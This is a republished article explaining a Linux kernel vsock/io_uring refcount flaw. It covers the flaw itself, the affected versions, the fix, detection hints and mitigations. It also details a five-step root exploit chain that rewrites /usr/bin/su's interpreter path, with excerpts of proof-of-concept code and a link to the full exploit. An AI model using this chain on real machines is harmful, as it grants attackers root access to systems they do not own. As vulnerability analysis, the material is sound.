CVE-2026-53365 Explained: From Unprivileged User to Root via 1024‑Send vsockdrop Exploit
The article dissects CVE‑2026‑53365, a Linux kernel vsock/virtio flaw that lets an unprivileged user trigger a reference‑count underflow with 1024 zero‑copy sends, chain through io_uring and vsock to overwrite /usr/bin/su’s PT_INTERP and obtain a root shell, and outlines impact, CVSS debate, patches, and detection mitigations.
1. Vulnerability Essence
The flaw resides in the Linux kernel's vsock/virtio component and is triggered only on the zero‑copy send path. When an application registers a long‑lived fixed buffer with io_uring, each page receives a reference‑count bias of 1024 (the ABI constant GUP_PIN_COUNTING_BIAS).
During SEND_ZC, the fixed page is attached to an skb but no extra reference is taken; instead the flag SKBFL_MANAGED_FRAG_REFS is set, indicating that the network stack should not touch the page. The intention is to avoid double‑free when the skb is released.
The problem appears in the large‑message path of vsock. When a payload exceeds 64 KB and is split into multiple skb s, the flag is set only on the last skb. Earlier fragments still execute put_page, which decrements the biased reference count even though the page was never referenced, causing a subtraction of one per send.
An attacker who can control a vsock connection can cause a single underflow per send; after 1024 such sends the bias reaches zero, the pinned page is placed on the per‑CPU free list (PCP freelist). The attacker can then use additional tricks to gain root.
2. Five Steps to Root
Maher Azzouzi’s exploit breaks the chain into five clean steps, relying solely on deep kernel‑level understanding.
Register a fixed buffer. io_uring_register_buffers registers a 192 KB mmap region; each page gets the FOLL_LONGTERM flag and its refcount becomes 1025 (1 original + 1024 bias).
Munmap the user‑space mapping. After unmapping, the only holder of the page is the bias. The _mapcount becomes –1, allowing the page to bypass free_page_is_bad checks and enter the PCP freelist.
Perform 1024 zero‑copy vsock sends. The receiver drains one send at a time and acknowledges it, ensuring each submit creates only one skb fragment that underflows. After 1024 iterations the pin count reaches zero and the page is freed.
Cold‑read page 0 of /usr/bin/su . By calling posix_fadvise to evict su ’s page cache, a subsequent pread forces allocation of a new page, which is taken from the top of the PCP freelist (LIFO). The attacker’s “ghost page” becomes the ELF header page of su.
Overwrite PT_INTERP . Using io_uring ’s read_fixed / write_fixed on the fixed buffer, the exploit rewrites the .interp string of su to point to /tmp/loader. Executing su then causes the kernel (running as root) to load the attacker‑controlled loader, which writes a setuid‑root helper to /var/tmp/.s. After the exploit worker exits, the parent process execs the helper, spawning a root shell.
The entire chain requires no user namespace, no kernel modules, and a single static binary; whoever runs it becomes root.
3. PoC Core Code
The full exploit is available at https://github.com/maherazzouzi/vsockdrop. The essential send loop is shown below:
/* drain the pin to 0 -> the still-pinned page lands on the PCP freelist */
for (int i = 0; i < iters; i++) {
struct io_uring_sqe *sqe = io_uring_get_sqe(&ring);
/* buf is unmapped; base still passes io_import_fixed's range check */
io_uring_prep_send_zc_fixed(sqe, s, base, SEND_SIZE, MSG_WAITALL, 0, 0);
io_uring_submit(&ring);
struct io_uring_cqe *cqe;
for (int j = 0; j < 2; j++) {
if (io_uring_wait_cqe(&ring, &cqe) < 0)
break;
io_uring_cqe_seen(&ring, cqe);
}
char a;
(void)!read(ack_r, &a, 1); /* wait for the drain before next send */
}
/* one cold single-page read pops our last-freed PFN off the PCP top as su's page0 */
int sufd = open("/usr/bin/su", O_RDONLY);
if (sufd >= 0) {
posix_fadvise(sufd, 0, 0, POSIX_FADV_RANDOM);
char one_pg[4096];
(void)!pread(sufd, one_pg, sizeof(one_pg), 0);
close(sufd);
}Key details: SEND_SIZE is set to 68 KB (64 KB + 4 KB) to trigger the multi‑ skb path while staying small enough for the receiver to drain in one go. The base pointer points to the already‑munmapped address; io_import_fixed only checks the range, not the page‑table entry, so the registration remains valid. The acknowledgment pipe prevents TCP flow‑control from causing retransmissions that would break the exact underflow count.
The .interp patch is the most delicate part:
char *interp = find_interp_str(page);
memcpy(interp, INTERP_PATH, len);
memset(interp + len, 0, room - len);
msync(snap, BUF_SIZE, MS_SYNC);The attacker mmaps a snapshot of su ’s page cache, locates the interpreter path (e.g., /lib64/ld-linux), overwrites it with /tmp/loader, and flushes the changes back to disk. From the kernel’s perspective, su now points to the attacker‑controlled binary, which is executed before any privilege escalation occurs.
4. Impact and Fixes
Affected range: Linux 6.7 (introduction) through 7.0.10, covering 14 kernel versions. All major distributions listed (Ubuntu 22.04 HWE, 24.04, 26.04; Debian 13; Arch; openSUSE Leap/Tumbleweed) are vulnerable.
CVSS controversy: NVD assigns a score of 5.5, citing “availability”. The author argues it is an unauthenticated local privilege‑escalation (LPE) and should be scored 7.8.
Fixed version: Linux 7.0.11. The upstream commit moves the allocation of uarg (user‑space argument) before the send loop and uses the skb_zcopy_set() function to attach uarg to every skb, ensuring non‑final fragments correctly track the pin and preventing the underflow.
Detection hints:
Kernel logs showing vsock release‑path warnings or stack traces.
Monitoring for a high volume of SO_ZEROCOPY vsock connections combined with io_uring fixed‑buffer registrations.
Unexpected modification times on /usr/bin/su.
Creation of suspicious setuid files such as /var/tmp/.s.
Mitigation recommendations:
Upgrade to Linux 7.0.11 or apply the corresponding distro security patches.
If upgrading is not possible, restrict non‑privileged users from using io_uring (e.g., sysctl kernel.io_uring_disabled=2).
Deploy audit rules to monitor setuid file creation and integrity changes to /usr/bin/su.
5. Conclusion
The elegance of the vsockdrop exploit lies not in a novel primitive but in the fact that every step leverages normal kernel behavior: the ABI‑defined bias of 1024, the mandatory put_page on each skb, the textbook LIFO page‑cache reclamation, and the performance‑oriented PCP freelist. Individually reasonable mechanisms combine into a complete privilege‑escalation chain.
This illustrates the true art of kernel exploitation: rather than inventing new techniques, it is about probing the boundaries of existing mechanisms more thoroughly than their designers anticipated.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Black & White Path
We are the beacon of the cyber world, a stepping stone on the road to security.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
